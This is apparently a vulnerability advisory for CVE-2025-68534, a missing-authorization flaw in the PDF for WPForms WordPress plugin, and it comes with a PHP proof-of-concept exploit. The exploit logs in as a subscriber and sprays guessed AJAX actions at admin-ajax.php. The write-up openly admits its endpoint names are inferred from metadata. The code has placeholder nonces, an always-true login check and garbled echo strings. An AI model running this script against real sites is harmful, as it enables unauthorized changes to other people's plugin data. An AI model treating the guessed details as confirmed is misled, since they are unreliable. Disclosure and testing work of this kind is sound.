Atomic Edge analysis of CVE-2025-68534 (metadata-based):
This vulnerability is a missing authorization flaw in the PDF for WPForms + Drag and Drop Template Builder WordPress plugin. The vulnerability affects all plugin versions up to and including 6.3.0. It allows authenticated attackers with Subscriber-level permissions to perform unauthorized actions. The CVSS score of 4.3 (Medium severity) reflects the network accessibility, low attack complexity, and low integrity impact.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook handler function. The CWE-862 classification confirms the plugin fails to verify user permissions before executing privileged operations. This analysis is inferred from the CWE classification and vulnerability description, as no source code diff is available. The plugin likely registers an AJAX handler or admin menu callback without proper current_user_can() validation. The vulnerability exists because the function assumes administrative privileges without explicit verification.
Exploitation requires an authenticated WordPress session with Subscriber-level access. Attackers would target the vulnerable endpoint, most likely /wp-admin/admin-ajax.php with a specific action parameter. Based on WordPress plugin conventions, the AJAX action parameter likely follows patterns like wpforms_pdf_* or pdf_for_wpforms_*. Attackers send a POST request with necessary parameters to trigger the unauthorized action. No nonce verification is required due to the missing authorization check. The exact payload depends on the specific vulnerable function’s purpose, which could involve PDF generation, template manipulation, or data retrieval.
Remediation requires adding proper capability checks to the vulnerable function. The patched version 6.3.1 likely implements current_user_can() validation with appropriate WordPress capabilities such as manage_options or edit_posts. The fix should verify user permissions before executing any privileged operations. WordPress security best practices dictate using check_ajax_referer() for AJAX handlers and current_user_can() for all administrative functions. The plugin developers needed to restrict access to users with appropriate administrative privileges.
The vulnerability enables authenticated attackers with minimal permissions to perform actions reserved for administrators or editors. While confidentiality and availability remain unaffected, attackers can modify plugin functionality or data. Potential impacts include unauthorized PDF template modifications, form data manipulation, or settings changes. The integrity impact allows attackers to alter plugin behavior without proper authorization. This could disrupt PDF generation workflows or compromise form data integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68534 - PDF for WPForms <= 6.3.0 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68534
* Assumptions based on WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter follows plugin naming conventions
* 3. No nonce or capability check exists
* 4. Subscriber-level authentication required
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Initialize session and get authentication cookies
function get_wordpress_cookies($url, $username, $password) {
$ch = curl_init();
// First request to get login page and nonce
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $url),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
// Extract nonce from login form (simplified - real implementation would parse HTML)
// This is a placeholder for demonstration
$log_nonce = 'login_nonce_placeholder';
// Perform login
$post_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $url),
'testcookie' => '1'
]);
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
curl_exec($ch);
curl_close($ch);
return true;
}
// Exploit the missing authorization vulnerability
function exploit_missing_auth($target_url) {
$ch = curl_init();
// Common AJAX action patterns for PDF for WPForms plugin
$possible_actions = [
'wpforms_pdf_generate',
'pdf_for_wpforms_generate',
'wpforms_pdf_save_template',
'pdf_for_wpforms_save_settings',
'wpforms_pdf_get_data',
'pdf_for_wpforms_action'
];
foreach ($possible_actions as $action) {
$post_data = http_build_query([
'action' => $action,
'form_id' => '1',
'template' => 'malicious_template',
'nonce' => '' // Nonce not required due to vulnerability
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest'
],
CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
echo "[+] Potential success with action: $actionn";
echo "Response: $responsen";
break;
}
}
curl_close($ch);
}
// Main execution
if (get_wordpress_cookies($target_url, $username, $password)) {
echo "[+] Authentication successfuln";
exploit_missing_auth($target_url);
} else {
echo "[-] Authentication failedn";
}
?>
